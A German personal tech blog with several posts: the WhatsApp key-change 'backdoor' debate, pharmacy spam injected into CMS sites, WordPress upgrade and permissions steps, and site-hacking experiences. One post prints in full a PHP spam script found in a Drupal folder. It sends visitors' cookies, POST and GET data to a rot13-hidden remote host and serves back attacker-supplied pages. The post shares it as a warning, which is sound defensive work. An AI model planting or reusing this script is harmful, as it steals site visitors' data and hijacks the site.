Whatsapp: „Nur“ Sicherheitslücke oder Backdoor?

Der Guardian berichtet über eine so genannte Backdoor bei WhatsApp: https://www.theguardian.com/technology/2017/jan/13/whatsapp-backdoor-allows-snooping-on-encrypted-messages. Es geht dabei um die Verschlüsselung.

WhatsApp-Nachrichten werden so verschlüsselt, dass nur auf dem Gerät des Empfängers einer Nachricht diese entschlüsselt werden kann. Für die Verschlüsselung wird ein so genannter Public Key des Empfängers genutzt, der auf dem Whatsapp-Server liegt. Wenn man ein neues Gerät in Betrieb nimmt oder WhatsApp neu installiert, wird immer ein neuer Public Key generiert.

Beim Senden von Nachrichten kann es vorkommen, dass Nachrichten nochmals gesendet werden müssen und zwar dann, wenn der Empfänger z.B. offline ist und daher die zwei Häkchen auf seinem Gerät noch nicht zu sehen sind. In diesem Fall kann auch mit einem neuen Public Key, der nicht vom Empfänger stammt, die Nachricht versendet und gelesen werden.

Tobias Boelter, der diese Lücke entdeckt hat, demonstriert dies in einem YouTube-Video: https://www.youtube.com/watch?v=we-pJE5JjAs&feature=youtu.be.

Der Absender kann dies mitbekommen, wenn bei Einstellungen->Account->Sicherheit->Sicherheit „Benachrichtigungen anzeigen“ aktiviert ist. Dies ist es standardmäßig allerdings nicht.

In diesem Fall erhält der Absender eine Mitteilung, dass sich der Sicherheitscode des Empfängers geändert hat, jedoch wird die Nachricht trotzdem gesendet und nicht blockiert.

Open Whisper Systems, welche die Verschlüsselungstechnologie von WhatsApp entwickelt haben (Signal Protocol), bestreiten, dass es sich um eine Backdoor handelt: https://whispersystems.org/blog/there-is-no-whatsapp-backdoor/, da die Änderung des Sicherheitscodes aufgedeckt werden kann. Dieser Artikel wird zum Teil zum Anlass genommen, die WhatsApp-Backdoor Story als Panikmache einzustufen bzw. herunterzuspielen.

Die Alternative zum praktizierten Verfahren bestünde darin, das Senden der Nachrichten zu blockieren. Dies nicht zu tun, beruht auf einer Design-Entscheidung von WhatsApp/Facebook:
https://netzpolitik.org/2017/backdoor-facebook-kann-die-verschluesselten-inhalte-auf-whatsapp-mitlesen/.

Gemessen am Anspruch von verschlüsselter Kommunikation, nämlich die Privatheit der Kommunikation zu sichern, ist das bewusste Design einer Anwendung mit einem Verfahren, welches diese aushebeln kann, mehr als eine Sicherheitslücke. Die Sicherheitslücke ist ja in der Regel nicht gewollt, häufig nicht bekannt und wird nachträglich aufgedeckt.

Eine bekannte, bewusst implementierte Sicherheitslücke, kann eine Backdoor sein. Dies hängt wiederum vom Vertrauen des Nutzers ab, welches dieser der Betreiberfirma, Facebook, entgegenbringt, diese Sicherheitslücke nicht auszunutzen.

WhatsApp schreibt:
„WhatsApp’s end-to-end encryption ensures only you and the person you’re communicating with can read what is sent, and nobody in between, not even WhatsApp.“ (https://www.whatsapp.com/security/?l=en).

Das entspricht nicht den Tatsachen. Aufgeklärt wird über die Sicherheitslücke außerdem nicht, der Anschein sicherer Kommunikation hochgehalten.

Ins Gespräch kommen auch immer dann, wenn WhatsApp in der Kritik steht, auch Alternativen, die angeblich sicherer sind. Ein Blick hinter die Kulissen bzw. eine nähere Beschäftigung mit der Thematik zeigt, dass dies nicht einfach ist.

Weitere Messenger:

Threema: https://threema.ch/de/
zu Threema: http://matthiasschwarzer.tumblr.com/post/77795433364/wer-android-nutzt-kann-sich-threema-gleich

Signal: https://whispersystems.org: Nachteil: Google Play Services/Play Store benötigt
zu Signal: https://fliegentoeter.eu/textsecure-die-sichere-alternative-zu-whatsapp/

Google Play Services-Ersatz: microG GmsCore: https://o9i.de/2015/10/23/howto-gmscore.html

Conversations: https://conversations.im: Jabber/XMPP client für Android 4.0+ Smartphones
hierzu auch: https://www.kuketz-blog.de/conversations-sicherer-android-messenger/

Telegram: https://telegram.org
Zu Telegram: http://www.netzpiloten.de/telegram-messaging-app-vertrauen/

Matrix: http://matrix.org

Pharmacy Spam

Kriminelle Internetapotheken mieten keine eigenen Server an, sondern nisten sich per Schadskripten auf Fremdservern ein. Diese Aktionen sind nicht auf Anhieb sichtbar, feststellbar über die Eingabe bei Google des eigenen Site-Namens plus Medikamentenbezeichnungen.

Beispielsweise wird dann auf folgende Seiten verwiesen: ed-pillen.de Online Apotheke, EURO Pharmacy, EXS Pharmacy, RX-365 Online Apotheke, Canadian Drug Store, Tab md, medscom.com, cliopharma.com, pharmacyworld, Safe Med Stock.

Die Schaddateien liegen in diversen CMS, Typo3, WordPress, Joomla etc. Irgendwo gibt es immer eine Lücke. Auffällig werden sie dann auf jeden Fall in den Log-Dateien.

Infos zu Spam-Hacks:

http://aw-snap.info/articles/spam-hacks.php

Typo3-Hack: http://blog.namics.com/2012/01/a-study-in-viagra.html

Security-Checks:

http://www.unmaskparasites.com/

http://sitecheck.sucuri.net/

WP-Upgrade und Konfiguration

WordPress muss regelmäßig geupdatet werden, einfach aus Sicherheitsgründen. Geht relativ fix, ich mache es immer manuell.
Zuerst ein Backup, alle Dateien und die Datenbank. Die Datenbank lässt sich aus phpmyadmin heraus exportieren oder von der Konsole aus mit einem mysqldump-Befehl. Letzteres bietet sich bei größeren Datenbanken an:

mysqldump -u username -p passwort datenbankname > xyz.sql

Damit lässt sich dann alles wieder zurückspielen, falls etwas schief geht.

Dann können die Dateien aus dem Hauptverzeichnis gelöscht werden, außer wp-config, außerdem alle weiteren Verzeichnisse außer wp-content.

Die aktuelle WP-Version muss heruntergeladen werden und dann in das WP-Verzeichnis kopiert werde.

Als letzten Schritt muss aus dem Admin-Bereich per Klick noch die Datenbank aktualisiert werden.

Wichtig ist noch zu wissen welche Verzeichnis- bzw. Dateirechte WP braucht. Gehört nicht zum Update-Prozess, ist einfach wichtig

Hauptverzeichnis: schreibbar durch Nutzeraccount

wp-admin: schreibbar durch Nutzeraccount

wp-includes: schreibbar durch Nutzeraccount

wp-content: schreibbar durch Nutzeraccount und Webserver

So können die Rechte automatisch gesetzt werden:
Für Verzeichnisse:
find /path/to/your/wordpress/install/ -type d -exec chmod 755 {} \;

Für Dateien:
find /path/to/your/wordpress/install/ -type f -exec chmod 644 {} \;

Dies ist der Seite Hardening WordPress entnommen. Dort gibt es noch mehr Empfehlungen.

Fieses Spam-Skript

Die Tage habe ich in einem Drupal-Unterordner ein fieses Spam-Skript ausfindig gemacht. Dieses führt dazu, dass dort eine Seite oder Seiten aufgebaut werden, die anderen Zwecken dient als der der Homepage, z.B. lässt sich auf diese Weise der Medikamentenhandel vorantreiben. Hier ist das gute Stück (man beachte die rot13-Verschlüsselung der URL):

$post = Array(
'self' => 'http://' . ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['REQUEST_URI'],
'sub_id' => '',
//'page' => $_REQUEST['p'],
'PHP_SELF' => $_SERVER['PHP_SELF'],
'SERVER_PROTOCOL' => $_SERVER['SERVER_PROTOCOL'],
'REMOTE_ADDR' => $_SERVER['REMOTE_ADDR'],
'HTTP_REFERER' => $_SERVER['HTTP_REFERER'],
'HTTP_USER_AGENT' => $_SERVER['HTTP_USER_AGENT'],
'HTTP_ACCEPT_CHARSET' => $_SERVER['HTTP_ACCEPT_CHARSET'],
'GET' => serialize($_GET),
'POST' => serialize($_POST),
'COOKIE' => serialize($_COOKIE),
);
$masterUrl = str_rot13('uggc://klm.uhynubfg.arg/');
$url = "{$masterUrl}rgw.php";
$req = new HttpRequest($useCurl, $requestTimeout);
$pageTxt = $req->request($url, $post);
//echo $pageTxt;
if (!$pageTxt)
die404();
$page = unserialize($pageTxt);
//print_r($page);
if ($page['seal'] != $seal) {
//echo $pageTxt; // TODO: *** DEBUG, delete this!!! ***
die404();
}
foreach ($page['headers'] as $header) {
header($header);
}
//echo "

";
//print_r($page);
//echo "

";
echo $page['content'];
?>

Wie gegen den Mist wehren? Neben dem Üblichen, immer die aktuellste Version einspielen, Permissions etc, ist eine Webserver-Log-Analyse, z.B. via Webalizer nützlich.

k-braungardt.de wegen phishing-content heute kurzfristig gesperrt

Hosteurope hat, einmalig in der Geschichte von k-braungardt.de, die Site gesperrt wegen phishing-content. Zuvor hatte ich bereits einen freundlichen Hinweis von Google erhalten. Das Zeugs war im wp-content/upload-Folder untergebracht, gestern laut timestamp.
HE hat mich aufgefordert die Dateien zu entfernen, WP zu updaten und alle Rechner mit FTP-Zugang einem Virenscan zu unterziehen.
Alles getan, mal schaun, ob da noch was nachkommt.

Webservices

aufbauend auf altem code schreibe ich einen weiteren webservice. ein straightforward task, auch wenn beim xml parsen viele fehler auftreten. xml ist zickig, amperezeichen und so weiter machen einem da das leben schwer.
die besonderheit hier, dass mehrere datenquellen in einem webservice vereint werden müssen. einmal werden originär an einer stelle daten erzeugt, zum anderen werden daten aus einer entfernten quelle geholt und dazu addiert, in form von live-daten. als dritte form muss der datenimport angedacht werden, d.h. hier müssen die daten auch gespeichert werden. diese daten müssen physikalisch separat abgelegt werden, die haben ja von sich aus keine kennzeichnung und dann analog externer daten eingelesen werden.
also: insgesamt hat das biest drei teile.
pikant dabei ist außerdem, dass die externen quellen in einem defizitären format vorliegen, d.h. die müssten auch noch einmal angepasst werden. wenn die daten geändert werden müssen, müssen sie auch lokal gespeichert werden.

Podiumsdiskussion e-teaching.org zu Technik und Didaktik

Am 7.11. hat eine Podiumsdiskussion bei e-teaching.org stattgefunden: Technikgetrieben oder didaktikorientiert?
Der Link zur Aufzeichnung ist ebenfalls auf der Seite angegeben: http://www.e-teaching.org/community/communityevents/onlinepodium/e-teaching_technikgetrieben-oder-didaktikorientiert.

Getrieben versus orientiert: Getrieben klingt ja schon sehr viel negativer als orientiert. Aber meines Erachtens gibt es einen großen Technik-Didaktik-Gap.